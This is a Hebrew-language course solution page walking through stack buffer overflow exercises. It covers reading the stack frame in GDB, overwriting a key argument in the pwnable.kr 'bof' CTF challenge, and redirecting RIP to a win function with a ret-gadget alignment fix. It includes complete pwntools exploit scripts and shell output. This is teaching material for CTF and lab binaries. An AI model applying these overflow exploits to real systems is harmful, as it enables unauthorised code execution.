לדלג לתוכן

2.1 אנטומיה של גלישה ושליטה בRIP פתרון

פתרון - אנטומיה של overflow ושליטה ב-RIP

כאן נפתור את שלושת התרגילים עד הסוף, עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. אם עוד לא ניסיתם לבד, חזרו לקובץ התרגול ותנסו קודם. הפתרון הכי מלמד הוא זה שהזעתם עליו.


פתרון תרגיל 1 - לקרוא את המסגרת ב-GDB

נתחיל מבדיקת ההגנות של הדמו:

$ checksec --file=./demo
RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE

זה בדיוק מה שציפינו: -fno-stack-protector הביא ל-No canary, -no-pie הביא ל-No PIE, וה-NX דלוק כברירת מחדל. אין canary שיתפוס אותנו כשנדרוס את הreturn address, ואין PIE, אז הכתובת של win קבועה.

מוצאים את הכתובת של win בשתי דרכים:

$ objdump -d demo | grep '<win>:'
0000000000401156 <win>:
>>> from pwn import *
>>> ELF('./demo').symbols['win']
0x401156

שתי הדרכים מסכימות על 0x401156. מכיוון שהבינארי הוא No PIE, הכתובת הזו לא תשתנה בין הרצות, וזו הסיבה שאפשר להשתמש בה ישירות ב-exploit.

עכשיו נפרק את vuln ב-GDB כדי למצוא איפה יושב הbuffer:

pwndbg> disassemble vuln
   0x0000000000401168 <+0>:     push   rbp
   0x0000000000401169 <+1>:     mov    rbp,rsp
   0x000000000040116c <+4>:     sub    rsp,0x40
   0x0000000000401170 <+8>:     lea    rax,[rip+0xe9d]        # "send: "
   ...
   0x0000000000401186 <+30>:    lea    rax,[rbp-0x40]
   0x000000000040118a <+34>:    mov    edx,0x100
   0x000000000040118f <+39>:    mov    rsi,rax
   0x0000000000401192 <+42>:    mov    edi,0x0
   0x0000000000401197 <+47>:    call   0x401060 <read@plt>
   ...

ההוראה lea rax, [rbp-0x40] ממש לפני call read מגלה לנו שהbuffer buf יושב בכתובת rbp-0x40. מכאן החישוב:

buf at            rbp - 0x40      -> 64 bytes to the saved rbp
saved rbp at      rbp             -> another 8 bytes
return address at rbp + 8

offset from buf to the return address = 0x40 + 8 = 64 + 8 = 72 bytes

אימות ידני, אם רוצים לוודא ולא לנחש:

pwndbg> break *vuln+47
pwndbg> run
pwndbg> p/x $rbp - ($rsp)      # measure where rsp is relative to rbp after sub rsp,0x40
$1 = 0x40
pwndbg> p/x $rbp + 8           # return address

מרחק של 0x40 בין rsp (תחילת הbuffer) ל-rbp, ועוד 8 עד הreturn address, שוב 72.

למה זה עבד: קראנו את המסגרת ישירות מהקוד במקום לנחש. lea rax, [rbp-0x40] הוא הכתובת שנשלחת ל-read בתור היעד, כלומר תחילת הbuffer. איך להכליל: בכל בינארי, ההוראה שמכינה את המצביע לפונקציית הקריאה (read/gets/fgets) מגלה לכם איפה הbuffer. משם, המרחק לreturn address הוא גודל המרחב שמעל הbuffer ועד rbp, ועוד 8.


פתרון תרגיל 2 - לפתור את bof

נפרק את func בבינארי של האתגר:

$ objdump -d bof | grep -A30 '<func>:'
...
   lea    eax,[ebp-0x2c]
   mov    DWORD PTR [esp],eax
   call   8048420 <gets>
   mov    eax,0xcafebabe
   cmp    DWORD PTR [ebp+0x8],eax
   jne    ...
   ... system("/bin/sh") ...

שני המספרים שחיפשנו נמצאים כאן:

  • הbuffer overflowme יושב ב-ebp-0x2c.
  • הארגומנט key נבדק ב-[ebp+0x8].

מדוע key בכלל ניתן לדריסה? כי זו מערכת 32 ביט עם מוסכמת cdecl, וב-cdecl הארגומנטים עוברים על המחסנית. main דחף את 0xdeadbeef על המחסנית לפני ה-call func, אז key יושב במסגרת של func בכתובת ebp+0x8, מעל הreturn address. הbuffer יושב מתחת, ב-ebp-0x2c. gets תכתוב לנו כמה בתים שנרצה כלפי מעלה, ישר לעבר key.

חישוב ה-offset:

from  ebp - 0x2c   (the buffer)
to    ebp + 0x08   (key)

offset = 0x2c + 0x08 = 0x34 = 52 bytes

אז ה-payload הוא 52 בתים של padding, ואז p32(0xcafebabe) שדורס בדיוק את key. ה-exploit המלא:

#!/usr/bin/env python3
from pwn import *

context.arch = 'i386'                 # bof is a 32-bit binary

r = remote('pwnable.kr', 9000)

payload  = b'A' * 52                  # padding from the buffer to key
payload += p32(0xcafebabe)            # overwrite key with the value the check expects

r.sendline(payload)
r.interactive()

הרצה:

$ python3 bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ cat flag
daddy, I just pwned a buFF3r :)
$ id
uid=1010(bof) gid=1010(bof) ...

הסכימה שנוצרה על המחסנית של func:

high addresses
+------------------------------+
| p32(0xcafebabe)              |  <-- we overwrote key. the check will pass
+------------------------------+
| return address of func       |  (untouched, not needed)
+------------------------------+
| saved ebp + padding          |
+------------------------------+
| 'AAAA...'  (overflowme + padding to key, 52 bytes total) |
+------------------------------+
low addresses

למה זה עבד: לא נגענו בreturn address בכלל. דרסנו משתנה בודד (הארגומנט key) שהלוגיקה של התוכנית סומכת עליו, וכך שיברנו את הבדיקה. system("/bin/sh") רץ בתוך func, לפני שהיא בכלל חוזרת. איך להכליל: לפני שרצים לדרוס return address, שאלו את עצמכם אם יש משתנה קרוב יותר לbuffer ששליטה בו מספיקה. דריסה של דגל, מונה, מצביע פונקציה או ארגומנט היא לרוב פשוטה ויציבה יותר מהשתלטות מלאה על RIP.


פתרון תרגיל 3 - שליטה מלאה ב-RIP

עכשיו נדרוס את הreturn address ונקפוץ ל-win. מתרגיל 1 כבר יש לנו את שני הנתונים: ה-offset הוא 72, והכתובת של win היא 0x401156 (או elf.symbols['win']).

הניסיון הראשון, הישיר:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./demo')

p = process('./demo')

offset   = 72
payload  = b'A' * offset
payload += p64(elf.symbols['win'])

p.sendline(payload)
p.interactive()

לפעמים זה עובד מיד ומקבלים shell. אבל על רוב מכונות ה-glibc המודרניות תראו את זה:

[+] Starting local process './demo': pid 12931
[*] Switching to interactive mode
[+] you took control!
[*] Got EOF while reading in interactive

שימו לב: ההודעה [+] you took control! כן הודפסה. זו הוכחה חד משמעית שהשליטה ב-RIP הצליחה, קפצנו לתוך win. אבל ה-shell מת מיד. הסיבה היא מלכודת alignment המחסנית: system מריצה movaps שדורשת ש-rsp יהיה מיושר ל-16 בתים, ואחרי הקפיצה שלנו הוא מיושר ל-8 בלבד.

התיקון, כפי שרמזנו: גאדג'ט ret בודד לפני win, שמזיז את המחסנית ב-8 בתים ומיישר אותה:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./demo')

p = process('./demo')

rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]     # address of a single ret instruction

offset   = 72
payload  = b'A' * offset
payload += p64(ret)                   # aligns the stack to 16 bytes
payload += p64(elf.symbols['win'])    # then jumps to win

p.sendline(payload)
p.interactive()

הרצה:

$ python3 rip.py
[*] '.../demo'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './demo': pid 13044
[*] Loaded 14 cached gadgets for './demo'
[*] Switching to interactive mode
[+] you took control!
$ id
uid=1000(user) gid=1000(user) ...
$ cat /etc/hostname

הפעם ה-shell נשאר. הסכימה על המחסנית של vuln ברגע ה-ret:

high addresses
+------------------------------+
| p64(&win)     = 0x401156     |  <-- the gadget's ret jumps here
+------------------------------+
| p64(&ret gadget)             |  <-- the return address we overwrote. the first ret jumps here
+------------------------------+
| 'AAAAAAAA'                   |  <-- saved rbp (overwritten)
+------------------------------+
| 'AAAA...'  (64 bytes)        |  <-- buf
+------------------------------+
low addresses

הזרימה: vuln מבצעת ret וקופצת לגאדג'ט ה-ret. הגאדג'ט הזה שולף את הכתובת הבאה (&win) לתוך rip וקופץ אליה, אבל תוך כדי הוא הזיז את rsp ב-8 בתים נוספים, וכך המחסנית מיושרת ל-16 כש-win קוראת ל-system.

למה זה עבד: דרסנו את הreturn address בכתובת חוקית, וה-ret הפכה את הדריסה הזו לקפיצה. ההודעה שהודפסה הוכיחה שהשליטה ב-RIP הצליחה עוד לפני שטיפלנו בalignment. איך להכליל: מלכודת ה-movaps תופיע כמעט בכל פעם שתקפצו לקוד שקורא ל-system או ל-printf עם מחסנית לא מיושרת. הפתרון תמיד זהה: הוסיפו או הורידו גאדג'ט ret בודד כדי לתקן את הalignment ב-8 בתים. את הרעיון הזה, של קפיצה מכוונת לפונקציה קיימת, נרחיב לשיטה מלאה בשיעור 2.3 (ret2win), ואת מציאת ה-offset בלי לנחש נלמד בשיעור 2.2 עם cyclic.